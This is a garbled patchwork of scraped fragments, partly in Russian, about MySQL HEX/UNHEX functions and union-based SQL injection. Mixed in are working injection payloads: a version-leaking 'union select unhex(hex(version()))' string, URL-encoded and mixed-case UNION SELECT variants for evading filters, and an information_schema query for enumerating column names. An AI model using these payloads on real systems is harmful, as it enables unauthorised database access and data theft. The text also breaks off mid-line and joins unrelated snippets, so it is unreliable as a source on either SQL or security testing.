...572999999.1 union select unhex(hex(version())) -- and 1=1 * Union Select $_REQUEST['start'] => 572999999.1 union select unhex(hex(version())) -- and
'abc', 616263, 'abc' mysql> SELECT HEX(255), CONV(HEX(255),16,10)
We can also do the reverse by using the HEX() function to convert the string into a hexadecimal value: SELECT HEX('Coconut palm') AS Hexed
Основные методы эксплуатации SQL-injection. Union Based SQL-injection — применяется, если SQL-injection возникает в SELECT запросе. Благодаря данному методу можно объединить два SELECT запроса в один набор результатов.
MySQL UNHEX() function performs the opposite operation of HEX(). This function interprets each pair of hexadecimal digits (in the argument) as a number and converts it to a character. Syntax
Both methods work, but my instinct is that method 1 is better as only the input value is worked on by the unhex function, whereas in method 2 every value in the id column of the table will be put through the hex function.
Union Select by PASS with Url Encoded Method: %55nion(%53elect) union%20distinct%20select union distinctROW select union%2053elect %23?%0auion%20?%23
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-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]. There is a different way to discover this data on every different database, but it's always the same methodology.